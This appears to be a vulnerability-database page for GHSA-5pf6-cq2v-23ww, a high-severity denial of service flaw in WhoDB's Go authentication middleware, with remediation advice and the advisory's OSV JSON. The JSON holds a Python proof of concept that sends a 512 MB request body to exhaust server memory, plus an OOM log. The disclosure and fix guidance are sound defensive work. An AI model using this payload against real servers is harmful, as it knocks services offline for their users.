GHSA-5pf6-cq2v-23ww: Github.com/clidey/whodb/core Denial of Service Vulnerability
HIGHGHSA-5pf6-cq2v-23ww is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/clidey/whodb/core libraries in the Go ecosystem. The issue involves whodb allows unbounded memory consumption in authentication middleware can lead to denial of service. Remediation is available in the latest vendor maintenance releases.
GHSA-5pf6-cq2v-23ww at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-5pf6-cq2v-23ww
To remediate this vulnerability, upgrade all affected Github.com/clidey/whodb/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/clidey/whodb/core to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/clidey/whodb/core
How to Check if You Are Affected
To determine whether your application is affected by GHSA-5pf6-cq2v-23ww, inspect your project dependencies for Github.com/clidey/whodb/core:
inspect dependencies for github.com/clidey/whodb/core
Analyze the terminal output to locate any version of Github.com/clidey/whodb/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/clidey/whodb/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-5pf6-cq2v-23ww Affected Github.com/clidey/whodb/core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/clidey/whodb/core
|
Go |
|
|
References
Frequently Asked Questions
What is GHSA-5pf6-cq2v-23ww?
Which Github.com/clidey/whodb/core versions are affected?
What version fixes GHSA-5pf6-cq2v-23ww?
Is github.com/clidey/whodb/core affected?
What is the CVSS score of GHSA-5pf6-cq2v-23ww?
What CWE is associated with GHSA-5pf6-cq2v-23ww?
How can I check Go dependencies for GHSA-5pf6-cq2v-23ww?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5pf6-cq2v-23ww",
"modified" : "2024-12-20T21:41:36Z",
"published" : "2024-12-19T15:22:43Z",
"aliases" : [ ],
"summary" : "WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service",
"details" : "### Summary\nA Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.\n\nAffects all versions up to the latest one (v0.43.0).\n\n### Details\n\n\nThe vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size limits:\n\n```go\nfunc AuthMiddleware(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {\n // No size limit on body reading\n body, err := io.ReadAll(r.Body)\n\n // ...\n\n // Creates another copy of the body\n r.Body = io.NopCloser(bytes.NewReader(body))\n\n // ...\n\n // Unmarshals the body again, creating more copies\n if err := json.Unmarshal(body, &query); err != nil {\n return false\n }\n })\n}\n```\n\nThe issue is amplified by:\n1. A generous 10-minute timeout (`middleware.Timeout(10*time.Minute)`)\n2. High throttle limits (10000 concurrent requests, 1000 backlog)\n3. Multiple copies of the request body being created during processing\n4. No per-client rate limiting\n\n### PoC\n\n1. Run the latest WhoDB:\n\n```\ndocker run -it -p 127.0.0.1:8080:8080 clidey/whodb\n```\n\n2. Prepare a PoC Python script:\n\n```python\nimport requests\nimport base64\nimport json\nimport time\n\n# Create a sample token\ncredentials = {\n \"database\": \"test\"\n}\ntoken = base64.b64encode(json.dumps(credentials).encode()).decode()\n\n# Create a large query that will pass initial checks\n# Using \"Login\" operation which is allowed\npayload = {\n \"operationName\": \"Login\",\n \"variables\": {},\n # Create a large string (512 MB)\n \"query\": \"A\" * (512 * 1024 * 1024)\n}\n\nheaders = {\n \"Content-Type\": \"application/json\",\n \"Cookie\": f\"Token={token}\" # or use Authorization header if IsAPIGatewayEnabled\n}\n\nurl = \"http://localhost:8080/api/query\" # adjust as needed\n\nprint(\"Sending large payload...\")\nstart = time.time()\ntry:\n response = requests.post(url, json=payload, headers=headers)\n print(f\"Response status: {response.status_code}\")\nexcept Exception as e:\n print(f\"Request failed: {e}\")\nprint(f\"Time taken: {time.time() - start:.2f}s\")\n```\n\n3. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process \"core\" is the entrypoint of the container.\n\n```\n[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0\n[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0\n```\n\n### Impact\n\n- Severity: High\n- Authentication Required: No (public API endpoint)\n- Affected Components: All API endpoints (`/api/*`)\n- Impact Type: Denial of Service\n\nAny client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.\n\nFix considerations:\n1. Implement request body size limits using `http.MaxBytesReader`\n2. Reduce the request timeout from 10 minutes\n3. Implement per-client rate limiting\n4. Consider streaming body processing instead of loading entirely into memory\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/clidey/whodb/core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "< 0.0.0-20241219102844-e8b608d35422"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/clidey/whodb/security/advisories/GHSA-5pf6-cq2v-23ww"
}, {
"type" : "WEB",
"url" : "https://github.com/clidey/whodb/commit/e8b608d35422e1a2bfffe8ed26f0211ea80cb439"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/clidey/whodb"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-12-19T15:22:43Z",
"nvd_published_at" : null
}
}